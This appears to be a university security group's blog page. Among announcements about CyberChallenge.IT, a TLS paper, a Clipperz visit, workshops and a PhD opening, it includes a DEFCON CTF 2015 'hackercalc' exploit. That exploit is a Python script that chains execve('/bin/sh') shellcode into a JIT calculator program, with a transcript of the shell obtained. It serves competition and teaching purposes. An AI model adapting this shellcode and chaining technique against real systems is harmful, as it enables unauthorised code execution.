Blog

Just a few more days to register to CyberChallenge.IT!

We are looking for the next generation of cyberdefenders! Are you 16-23? Sign up by February 6, 2020.

Our paper on TLS security analysis in the wild has been presented at IEEE S&P 2019 and covered on wired!

Here is the preview video and the dedicated web page for more detail.

See also my interview (in Italian) on the Ca’ Foscari news.

 

On June 11, Giulio Cesare Solaroli, Marco Barulli and Dario Chiappetta have visited our group to talk about the Clipperz system and discuss challenging issues regarding encrypted cloud. Clipperz is a sophisticated system that makes it possible to store sensitive data in the cloud while providing an extremely high level of privacy. All the sensitive operations are performed in the client so that Clipperz backend will never be able to access user’s data in the clear. Interestingly, Clipperz is not even aware of actual usernames so that an attack to the server database would not allow to link (encrypted) data to users.

Thanks to Giulio, Marco and Dario for the very interesting day! We hope to hear more from Clipperz …

Hackercalc is an x86 calculator JIT compiler.
Download binary

#!/usr/bin/python

'''
DEFCON CTF 2015 hackercalc exploit.
Written by repnzscasb, c00kies@venice.

$ (python exploit.py; cat - ) | nc -vv hackercalc_2e9c870a8449603f8d4b748d78993026.quals.shallweplayaga.me 21222
Connection to hackercalc_2e9c870a8449603f8d4b748d78993026.quals.shallweplayaga.me 21222 port [tcp/*] succeeded!
RUa rir1 -
rP0nDdSSPr.rnsT koaL nr0:e-oEt U eo nNr Oex oonnTpOEpyw
id
uid=1001(hackercalc) gid=1001(hackercalc) groups=1001(hackercalc)
cat /home/hackercalc/flag
The flag is: Congratulations!!! strfry! hackercalc! x86jit! hatec++RE! givemesymbolsnexttime!
'''

from struct import unpack

def toint(s):
    return unpack('<I', s)[0]

# Shellcode from http://shell-storm.org/shellcode/files/shellcode-752.php.
# Modified to use two-bytes opcodes only.
shellcode = [
    "\x31\xc9", # xor ecx, ecx
    "\xf7\xe1", # mul ecx
    "\x51",     # push ecx
    "\xb4\x68", # mov ah, 0x68
    "\xb0\x73", # mov al, 0x73
    "\x66\x50", # push ax
    "\xb4\x2f", # mov ah, 0x2f
    "\xb0\x6e", # mov al, 0x6e
    "\x66\x50", # push ax
    "\xb4\x69", # mov ah, 0x69
    "\xb0\x62", # mov al, 0x62
    "\x66\x50", # push ax
    "\xb4\x2f", # mov ah, 0x2f
    "\xb0\x2f", # mov al, 0x2f
    "\x66\x50", # push ax
    "\x89\xe3", # mov ebx, esp
    "\x31\xc0", # xor eax, eax
    "\xb0\x0b", # mov al, 11
    "\xcd\x80", # int 0x80
]

# Only 3 bytes will be written at this point, so we skip to the next shellcode instruction
# \x00 is padding
jskip = "\x00" + "\xeb\x08" + "\x00"
jskip = toint(jskip)

# Build the shellcode using 4-bytes blocks like <2-bytes opcode><2-bytes jmp next opcode> 
jnext = "\xeb\x07"
code = ""
for o in shellcode:
    asm = o.ljust(2, "\x90") + jnext
    code += "\tx = {:d}\n".format(toint(asm))

# Build the payload
payload = '''
func b1(x)
func b2(x)
func b3(x)
func b4(x)
func b5(x)
func b6(x)
func b7(x)
func a(x)
\tb1((b1(0)||{:d}||)
{}
run a(0)
'''.format(jskip, code)

print(payload)

This is the generated calculator program which calls execve(“/bin/sh”):

func b1(x)
func b2(x)
func b3(x)
func b4(x)
func b5(x)
func b6(x)
func b7(x)
func a(x)
	b1((b1(0)||584448||)
	x = 132892977
	x = 132899319
	x = 132878417
	x = 132868276
	x = 132871088
	x = 132862054
	x = 132853684
	x = 132869808
	x = 132862054
	x = 132868532
	x = 132866736
	x = 132862054
	x = 132853684
	x = 132853680
	x = 132862054
	x = 132899721
	x = 132890673
	x = 132844464
	x = 132874445

run a(0)

I’m proud to chair upcoming ASA workshop that will take place in Verona on 13th of July 2015, as satellite of IEEE CSF’15.

Riccardo Focardi will present Cryptosense at the National Congress on Cyber Security, organized by Centro Studi Difesa e Sicurezza (CESTUDIS) and Centro di Ricerca di Cyber Intelligence e Information Security of University “La Sapienza”, Rome in collaboration with Dipartimento informazione e sicurezza della Presidenza del Consiglio dei Ministri.

The aim of the congress is to support collaboration among government agencies, universities and private companies working in critical infrastructures, finance, economy and security systems.

The meeting is on December 1, 2014 at Aula Magna of University “La Sapienza”. Here you can find the detailed program and on-line registration.

The information security group at Ca’ Foscari University, Venice, has an open fully funded PhD position on “Automated analysis of cryptographic and hardened systems”. The position is co-funded by the PRIN Research Project “Security Horizons” and by the spin-off Cryptosense.

The PhD student will mainly work on developing models and theories for systems and cryptographic devices that are applicable in practice. The research will be organized in collaboration with Cryptosense, Paris, a spin-off specialized in the development of security analysis software for the financial, industrial and government sectors.

For more information please contact Prof. Riccardo Focardi.

Appication deadline is May 29th, 2014 at 1:00 pm (CEST) and can be done on-line here.